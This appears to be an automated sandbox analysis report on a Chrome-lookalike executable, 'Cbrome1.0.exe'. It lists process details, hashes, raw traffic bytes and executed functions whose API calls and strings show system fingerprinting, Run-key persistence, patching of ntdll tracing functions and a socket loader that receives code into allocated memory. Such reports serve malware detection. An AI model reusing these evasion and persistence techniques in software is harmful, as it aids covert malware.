2024-07-25 11:23:37 UTC	4096	IN	Data Raw: ff 45 33 ff eb 10 44 8a b4 24 e0 00 00 00 4c 8b a4 24 e8 00 00 00 8b 44 24 68 8b 4c 24 64 ff c1 48 83 c5 14 89 4c 24 64 3b c8 0f 82 c7 fe ff ff 45 3a f7 0f 85 a0 00 00 00 8b 03 25 ff ff ff 1f 3d 21 05 93 19 0f 82 8e 00 00 00 8b 73 20 41 3b f7 74 0d 48 63 f6 e8 44 e8 ff ff 48 03 c6 eb 03 49 8b c7 49 3b c7 74 71 41 3b f7 74 11 e8 2d e8 ff ff 48 8b d0 48 63 43 20 48 03 d0 eb 03 49 8b d7 48 8b cf e8 7a f2 ff ff 41 3a c7 75 4b 4c 8d 8c 24 e0 00 00 00 4c 8b c3 49 8b d5 49 8b cc e8 0f e7 ff ff 8a 8c 24 08 01 00 00 4c 8b 84 24 f0 00 00 00 88 4c 24 40 4c 89 6c 24 38 48 89 5c 24 30 83 4c 24 28 ff 4c 8b c8 48 8b d7 49 8b cc 4c 89 7c 24 20 e8 5a ec ff ff e8 99 9f ff ff 4c 39 b8 08 01 00 00 74 05 e8 df c9 ff ff 48 8b 9c 24 f8 00 00 00 48 81 c4 a0 00 00 00 41 5f 41 5e Data Ascii: E3D$L$D$hL$dHL$d;E:%=!s A;tHcDHII;tqA;t-HHcC HIHzA:uKL$LII$L$L$@Ll$8H\$0L$(LHIL\|$ ZL9tH$HA_A^
2024-07-25 11:23:37 UTC	4096	IN	Data Raw: 6c 6c 4d 61 69 6e 2e 0d 0a 00 00 52 36 30 33 32 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 6c 6f 63 61 6c 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0d 0a 00 00 00 00 00 00 52 36 30 33 31 0d 0a 2d 20 41 74 74 65 6d 70 74 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 74 68 65 20 43 52 54 20 6d 6f 72 65 20 74 68 61 6e 20 6f 6e 63 65 2e 0a 54 68 69 73 20 69 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 00 00 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 68 65 61 70 0d 0a 00 00 00 00 52 36 30 32 37 0d 0a 2d 20 6e 6f 74 Data Ascii: llMain.R6032- not enough space for locale informationR6031- Attempt to initialize the CRT more than once.This indicates a bug in your application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not

Target ID:	0
Start time:	07:23:16
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\Cbrome1.0.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Cbrome1.0.exe"
Imagebase:	0x7ff779220000
File size:	43'526'144 bytes
MD5 hash:	4E5FC012718E562ED588DE4EBAC425E7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	07:23:53
Start date:	25/07/2024
Path:	C:\ProgramData\buunn\arphaCrashReport64.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\buunn\arphaCrashReport64.exe"
Imagebase:	0x7ff647d40000
File size:	238'384 bytes
MD5 hash:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:24:02
Start date:	25/07/2024
Path:	C:\ProgramData\buunn\arphaCrashReport64.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\buunn\arphaCrashReport64.exe"
Imagebase:	0x7ff647d40000
File size:	238'384 bytes
MD5 hash:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	33%
Total number of Nodes:	652
Total number of Limit Nodes:	26

Executed Functions

Function 0000023A29E13560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000023A29E13430: GetCurrentHwProfileA.ADVAPI32 ref: 0000023A29E1346F
Part of subcall function 0000023A29E13430: GetComputerNameA.KERNEL32 ref: 0000023A29E134C5

lstrcat.KERNEL32 ref: 0000023A29E135C6

Part of subcall function 0000023A29E221D0: GetComputerNameA.KERNEL32 ref: 0000023A29E2222B
Part of subcall function 0000023A29E221D0: lstrcpy.KERNEL32 ref: 0000023A29E22241
Part of subcall function 0000023A29E221D0: wsprintfA.USER32 ref: 0000023A29E22270

GetComputerNameA.KERNEL32 ref: 0000023A29E135FF
GetCurrentProcessId.KERNEL32 ref: 0000023A29E13612
LoadLibraryA.KERNEL32 ref: 0000023A29E1367A
GetProcAddress.KERNEL32 ref: 0000023A29E1368A
GetUserNameA.ADVAPI32 ref: 0000023A29E13699
CreateToolhelp32Snapshot.KERNEL32 ref: 0000023A29E13703
lstrlen.KERNEL32 ref: 0000023A29E13763
_localtime64.LIBCMT ref: 0000023A29E1377C
wsprintfA.USER32 ref: 0000023A29E137B2
GetModuleFileNameA.KERNEL32 ref: 0000023A29E1383C

Strings

Group, xrefs: 0000023A29E137DD, 0000023A29E137FC
2, xrefs: 0000023A29E13621
pi32, xrefs: 0000023A29E13658
driver, xrefs: 0000023A29E13842
Time, xrefs: 0000023A29E13751, 0000023A29E137BB
serN, xrefs: 0000023A29E13633
.dll, xrefs: 0000023A29E13662
Adva, xrefs: 0000023A29E1364E
Remark, xrefs: 0000023A29E135D4
GetU, xrefs: 0000023A29E13629
ameA, xrefs: 0000023A29E1363D
%d-%d-%d %d:%d, xrefs: 0000023A29E137A8
run, xrefs: 0000023A29E13857
2, xrefs: 0000023A29E135CC

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Name$Computer$Currentwsprintf$AddressCreateFileLibraryLoadModuleProcProcessProfileSnapshotToolhelp32User_localtime64lstrcatlstrcpylstrlen
String ID: %d-%d-%d %d:%d$.dll$2$2$Adva$GetU$Group$Remark$Time$ameA$driver$pi32$run$serN
API String ID: 2203227563-3218832578
Opcode ID: 4c9df6ceb10faf31e691ca73e19ae76b27f32ce6c5577c60513530c26abd7d4c
Instruction ID: 54a3985ed53395e835860a9cdd8c2c0e642494c500d1c6ade9a3edcbe06edeb5
Opcode Fuzzy Hash: 4c9df6ceb10faf31e691ca73e19ae76b27f32ce6c5577c60513530c26abd7d4c
Instruction Fuzzy Hash: 4291803220478096EB20DB24D858BDE7771F784BA4F44422ADEA947AEADF7CC755CB01

Function 0000023A29E114C0 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 174
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000023A29E11546
GetProcAddress.KERNEL32 ref: 0000023A29E11559
GetProcAddress.KERNEL32 ref: 0000023A29E1156C
GetProcAddress.KERNEL32 ref: 0000023A29E11581
GetProcAddress.KERNEL32 ref: 0000023A29E11591
GetProcAddress.KERNEL32 ref: 0000023A29E115A1
RegOpenKeyExA.KERNELBASE ref: 0000023A29E115CC
lstrcpy.KERNEL32 ref: 0000023A29E11771
RegCloseKey.KERNELBASE ref: 0000023A29E11783
FreeLibrary.KERNEL32 ref: 0000023A29E11796

Strings

ADVAPI32.dll, xrefs: 0000023A29E1153F
%08X, xrefs: 0000023A29E1171E
RegQueryValueExA, xrefs: 0000023A29E1154F
RegEnumValueA, xrefs: 0000023A29E11577
RegCloseKey, xrefs: 0000023A29E11597
RegEnumKeyExA, xrefs: 0000023A29E11587
RegOpenKeyExA, xrefs: 0000023A29E11562

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressProc$Library$CloseFreeLoadOpenlstrcpy
String ID: %08X$ADVAPI32.dll$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA
API String ID: 2622296002-2913591164
Opcode ID: 365d0e112e7cdaa6982ef6da38e7ea94118737f30474664e1cd6f0c1e0a991be
Instruction ID: 8d2b8424caeecbd134aea2de6d7fa2d881bd1dd71c85f26c41c0f11434d80bda
Opcode Fuzzy Hash: 365d0e112e7cdaa6982ef6da38e7ea94118737f30474664e1cd6f0c1e0a991be
Instruction Fuzzy Hash: C2714236224B8081EB60DB15E848BAB7374F789FC4F44512AEECA42B58DF7CC655CB05

Function 0000023A29E14530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000023A29E1455D
GetProcAddress.KERNEL32 ref: 0000023A29E1456D
LoadLibraryA.KERNEL32 ref: 0000023A29E1459E
GetProcAddress.KERNEL32 ref: 0000023A29E145AE
VirtualProtect.KERNELBASE ref: 0000023A29E145CF
VirtualProtect.KERNELBASE ref: 0000023A29E145E7
lstrcpy.KERNEL32 ref: 0000023A29E14603
CloseHandle.KERNEL32 ref: 0000023A29E14640
CloseHandle.KERNEL32 ref: 0000023A29E14665
CreateThread.KERNELBASE ref: 0000023A29E146F7
WaitForSingleObject.KERNEL32 ref: 0000023A29E14706
CloseHandle.KERNEL32 ref: 0000023A29E1470F

Strings

Mov, xrefs: 0000023A29E14715
NtTerminateThread, xrefs: 0000023A29E14563
driver, xrefs: 0000023A29E1467B
ntdll.dll, xrefs: 0000023A29E1454E, 0000023A29E14587
NtTraceEvent, xrefs: 0000023A29E145A4
run, xrefs: 0000023A29E1466B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Handle$Close$AddressProcProtectVirtual$CreateLibraryLoadModuleObjectSingleThreadWaitlstrcpy
String ID: Mov$NtTerminateThread$NtTraceEvent$driver$ntdll.dll$run
API String ID: 2320672033-2918648053
Opcode ID: 7b1ee9c18eb7b140bc95ef8b353150d332ff35e3fc96c6eef656a7be9ee323cc
Instruction ID: 216c563f92bd32439aabc0733e85db4ed7022aa545a188b177f8f8d11a362d2b
Opcode Fuzzy Hash: 7b1ee9c18eb7b140bc95ef8b353150d332ff35e3fc96c6eef656a7be9ee323cc
Instruction Fuzzy Hash: 6E618E71604B8182EA10DB21E858BAB73B5FB89F94F484139DEDA47796DF3CC624C706

Function 0000023A29E20180 Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 568
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memchr.LIBCMT ref: 0000023A29E20354
memchr.LIBCMT ref: 0000023A29E2037D
rand.LIBCMT ref: 0000023A29E204E2
CreateDirectoryA.KERNELBASE ref: 0000023A29E2054E
rand.LIBCMT ref: 0000023A29E207D1

Strings

https://, xrefs: 0000023A29E20281
C:\ProgramData\, xrefs: 0000023A29E20253
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0000023A29E20932
run, xrefs: 0000023A29E20986

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: memchrrand$CreateDirectory
String ID: C:\ProgramData\$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$https://$run
API String ID: 578666947-266329106
Opcode ID: 8d9b4b9c9329c0c6e983f04a8dc869d32aba0df01a8393e5845195711c7e0708
Instruction ID: d00301123f08a684282da585c1c5f2854e59ea0857e456601e116f55866d3906
Opcode Fuzzy Hash: 8d9b4b9c9329c0c6e983f04a8dc869d32aba0df01a8393e5845195711c7e0708
Instruction Fuzzy Hash: 8D428132600BC089EB249F35D8487DA2771F744BA8F540629DEAD4BBDADF78C6A4C341

Function 0000023A29E274B8 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lock.LIBCMT ref: 0000023A29E274E3

Part of subcall function 0000023A29E29B98: _amsg_exit.LIBCMT ref: 0000023A29E29BC2

_get_daylight.LIBCMT ref: 0000023A29E274F9

Part of subcall function 0000023A29E28254: _errno.LIBCMT ref: 0000023A29E2825D
Part of subcall function 0000023A29E28254: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28268

_get_daylight.LIBCMT ref: 0000023A29E2750E

Part of subcall function 0000023A29E281F4: _errno.LIBCMT ref: 0000023A29E281FD
Part of subcall function 0000023A29E281F4: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28208

_get_daylight.LIBCMT ref: 0000023A29E27523

Part of subcall function 0000023A29E28224: _errno.LIBCMT ref: 0000023A29E2822D
Part of subcall function 0000023A29E28224: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28238

___lc_codepage_func.LIBCMT ref: 0000023A29E27530

Part of subcall function 0000023A29E2C9F0: _getptd.LIBCMT ref: 0000023A29E2C9F4

Part of subcall function 0000023A29E28B10: __wtomb_environ.LIBCMT ref: 0000023A29E28B40

free.LIBCMT ref: 0000023A29E275A1

Part of subcall function 0000023A29E23D28: HeapFree.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D3E
Part of subcall function 0000023A29E23D28: _errno.LIBCMT ref: 0000023A29E23D48
Part of subcall function 0000023A29E23D28: GetLastError.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D50

free.LIBCMT ref: 0000023A29E2760A
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,00000032,00000000,00000000,0000023A29E27EDE,?,?,?,?,0000023A29E2397E), ref: 0000023A29E2761D
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,0000023A29E27EDE,?,?,?,?,0000023A29E2397E), ref: 0000023A29E276D3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,0000023A29E27EDE,?,?,?,?,0000023A29E2397E), ref: 0000023A29E27726

Strings

Eastern Standard Time, xrefs: 0000023A29E276C8
Eastern Summer Time, xrefs: 0000023A29E2771B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 2532449802-239921721
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: c3c410481da9951ffe49d8cee445e0c55bfead3bb9e2b4a11367c2c1b10dccd8
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: F7C1C032A0478086FB249F25E59AB5B7BB5F784B40F44413D9EC953B96DB3DCA21CB02

Function 0000023A27B096B1 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 252
networkmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 0000023A27B0974E
getaddrinfo.WS2_32 ref: 0000023A27B09780
connect.WS2_32 ref: 0000023A27B097B5
send.WS2_32 ref: 0000023A27B097CB
recv.WS2_32 ref: 0000023A27B097F5
NtAllocateVirtualMemory.NTDLL ref: 0000023A27B0982E
NtAllocateVirtualMemory.NTDLL ref: 0000023A27B09877
recv.WS2_32 ref: 0000023A27B09890
closesocket.WS2_32 ref: 0000023A27B098D0

Strings

@, xrefs: 0000023A27B0984A

Memory Dump Source

Source File: 00000000.00000002.3990060845.0000023A27B09000.00000040.00000020.00020000.00000000.sdmp, Offset: 0000023A27B09000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a27b09000_Cbrome1.jbxd

Similarity

API ID: AllocateMemoryVirtualrecv$closesocketconnectgetaddrinfosendsocket
String ID: @
API String ID: 4139409780-2766056989
Opcode ID: d5ee25e1935bc4540de5f0d9476ce94e4dad6faccf2da400b46445d8071c7270
Instruction ID: 42f995bca6f7c78ce26f4e291ab1c63503edfc873ed85a72b5c1025aabe4bf09
Opcode Fuzzy Hash: d5ee25e1935bc4540de5f0d9476ce94e4dad6faccf2da400b46445d8071c7270
Instruction Fuzzy Hash: F181D630208B484FDB69EF2888897FAB7E1FB99300F10456DE98FC7192DE35D6468741

Function 0000023A29E11E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0000023A29E11ED5
GetCurrentThreadId.KERNEL32 ref: 0000023A29E11EE5
VirtualAlloc.KERNEL32 ref: 0000023A29E11F6D
VirtualFree.KERNEL32 ref: 0000023A29E11FA7
VirtualAlloc.KERNEL32 ref: 0000023A29E1200F
VirtualFree.KERNEL32 ref: 0000023A29E12049
VirtualAlloc.KERNEL32 ref: 0000023A29E120BC
VirtualFree.KERNEL32 ref: 0000023A29E120F6
GetCurrentThreadId.KERNEL32 ref: 0000023A29E12173

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Virtual$AllocFree$CurrentThread$Sleep
String ID:
API String ID: 2090942847-0
Opcode ID: 0efdc29df09f4a7188a29b8634807d3c226196f672a366a7f8e6bc1b669edc25
Instruction ID: 9d2ff393ea6d01e5dfeba3456a573cef27a5e4f25ba85948e207744b13408838
Opcode Fuzzy Hash: 0efdc29df09f4a7188a29b8634807d3c226196f672a366a7f8e6bc1b669edc25
Instruction Fuzzy Hash: 22918F32300B8097EB1D9B29D648BAA67B5F749B40F04422CDF8657B54DB3CEAB1CB41

Function 0000023A29E121C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32 ref: 0000023A29E12255
recv.WS2_32 ref: 0000023A29E12274
_errno.LIBCMT ref: 0000023A29E12280
_errno.LIBCMT ref: 0000023A29E1228A
_errno.LIBCMT ref: 0000023A29E12297
setsockopt.WS2_32 ref: 0000023A29E122FF
CancelIo.KERNEL32 ref: 0000023A29E12309
closesocket.WS2_32 ref: 0000023A29E12319
SetEvent.KERNEL32 ref: 0000023A29E12326

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$CancelEventclosesocketrecvselectsetsockopt
String ID:
API String ID: 2233327707-0
Opcode ID: a05aeac41a3b76157148e5e7acf1457028f623d998fb654da6be27c4cb197c78
Instruction ID: b7571f61dcc0dfc962aba70e367adf536db6bba301719288c7dcbf43ee6ee9f6
Opcode Fuzzy Hash: a05aeac41a3b76157148e5e7acf1457028f623d998fb654da6be27c4cb197c78
Instruction Fuzzy Hash: 45415E32204B8085E7609F25E848B6E77B0F789F94F544239EED947B95CB3CCA64CB06

Function 0000023A295D0020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL ref: 0000023A295D011F

Strings

XVXT, xrefs: 0000023A295D042B
@, xrefs: 0000023A295D00ED

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @$XVXT
API String ID: 2167126740-4063696373
Opcode ID: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction ID: 00d1126e7efc7924031fff684ba0e394b01002114cf66cfcf3e18e55a4bef2ae
Opcode Fuzzy Hash: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction Fuzzy Hash: 6CD1B530614A098FDB58DF68D888BBAB7F1FF59701F14417DE88AC7282DA34D946CB91

Function 0000023A29E1FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0000023A29E2004E
WriteFile.KERNELBASE ref: 0000023A29E20102
CloseHandle.KERNEL32 ref: 0000023A29E2011A

Strings

GET, xrefs: 0000023A29E1FE9E

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: GET
API String ID: 1065093856-1805413626
Opcode ID: 124d72cd5e7ec1440d321d034adbaa2753bffeffca805573d9e122f8d0dd9c20
Instruction ID: 92459082c556562a346e879e6d3e0f15f2bf305ab4fb41328b53763a2f7c5eda
Opcode Fuzzy Hash: 124d72cd5e7ec1440d321d034adbaa2753bffeffca805573d9e122f8d0dd9c20
Instruction Fuzzy Hash: FFD16C32214B4082F7249B21E458B6F37B0F796B98F505929DEE607B95CF7CC6A4C386

Function 0000023A295D0091 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 296memorylibrarynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0000023A295D011F
LdrLoadDll.NTDLL ref: 0000023A295D02D8

Strings

@, xrefs: 0000023A295D00ED

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: AllocateLoadMemoryVirtual
String ID: @
API String ID: 582251630-2766056989
Opcode ID: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction ID: 5f7f18d73bde7111d5e434c882fcbcdb6ea99b1256e09debe4117b15ac72cd1a
Opcode Fuzzy Hash: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction Fuzzy Hash: C091BF30614A098FDB58DF68C888BBAB7F1FF59701F14417DE88AD7282DA34D94ACB51

Function 0000023A29E283F4 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 0000023A29E2840A
GetVersion.KERNEL32 ref: 0000023A29E2841C
HeapSetInformation.KERNEL32 ref: 0000023A29E2843A

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction ID: 869519f25e9d9706a64d3e409fc8256030dab9d3b71a6a218dcf5d9f3592c535
Opcode Fuzzy Hash: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction Fuzzy Hash: CBE09234715B8082FB855B21E84DB672279FB88B41F84143DEDDA02798DF3CC2668B06

Function 0000023A29E117D0 Relevance: 38.6, APIs: 14, Strings: 8, Instructions: 112
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000023A29E11806
GetProcAddress.KERNEL32 ref: 0000023A29E11819
GetProcAddress.KERNEL32 ref: 0000023A29E1182E
GetProcAddress.KERNEL32 ref: 0000023A29E11841
GetProcAddress.KERNEL32 ref: 0000023A29E11851
GetProcAddress.KERNEL32 ref: 0000023A29E11861
GetProcAddress.KERNEL32 ref: 0000023A29E11876
RegCreateKeyExA.KERNELBASE ref: 0000023A29E118B9
RegOpenKeyExA.KERNELBASE ref: 0000023A29E118E2
RegSetValueExA.KERNELBASE ref: 0000023A29E11913
lstrlen.KERNEL32 ref: 0000023A29E1192A
RegSetValueExA.KERNELBASE ref: 0000023A29E11949
RegCloseKey.KERNELBASE ref: 0000023A29E1195D
FreeLibrary.KERNEL32 ref: 0000023A29E11970

Strings

ADVAPI32.dll, xrefs: 0000023A29E117FF
?, xrefs: 0000023A29E1189D
RegDeleteKeyA, xrefs: 0000023A29E11837
RegDeleteValueA, xrefs: 0000023A29E11847
RegSetValueExA, xrefs: 0000023A29E11824
RegCloseKey, xrefs: 0000023A29E1186C
RegCreateKeyExA, xrefs: 0000023A29E1180F
RegOpenKeyExA, xrefs: 0000023A29E11857

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressProc$LibraryValue$CloseCreateFreeLoadOpenlstrlen
String ID: ?$ADVAPI32.dll$RegCloseKey$RegCreateKeyExA$RegDeleteKeyA$RegDeleteValueA$RegOpenKeyExA$RegSetValueExA
API String ID: 4166182170-381397426
Opcode ID: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction ID: 40d27809677e6ab099a3b45a0370334781234169f49b13b89d6bd2dd5209e0e7
Opcode Fuzzy Hash: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction Fuzzy Hash: 46414A36214B4082EB609B12F858B6BB3A4F784FD4F440129EEDA43B68DF7CC655CB09

Function 0000023A29E11BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Download Yara Rule

